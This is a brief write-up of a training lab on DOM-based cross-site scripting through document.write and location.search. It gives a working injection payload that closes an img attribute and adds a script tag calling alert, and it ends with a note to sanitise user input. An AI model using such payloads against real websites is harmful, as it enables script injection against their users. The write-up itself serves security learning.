Problem Statement

This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript document.write function, which writes data out to the page.

The document.write function is called with data from location.search, which you can control using the website URL.

To solve this lab, perform a cross-site scripting attack that calls the alert function.

Felix

Solution

document.write('... <script>alert(document.domain)</script> ...');

1. Observe the normal flow
2. Notice that our payload will be injected to <img>
3. Typical injection attack
alala"> <script>alert(1)</script>//

Proof

Untitled

Untitled

What have you learnt?

  1. Sanitise user input

Chensan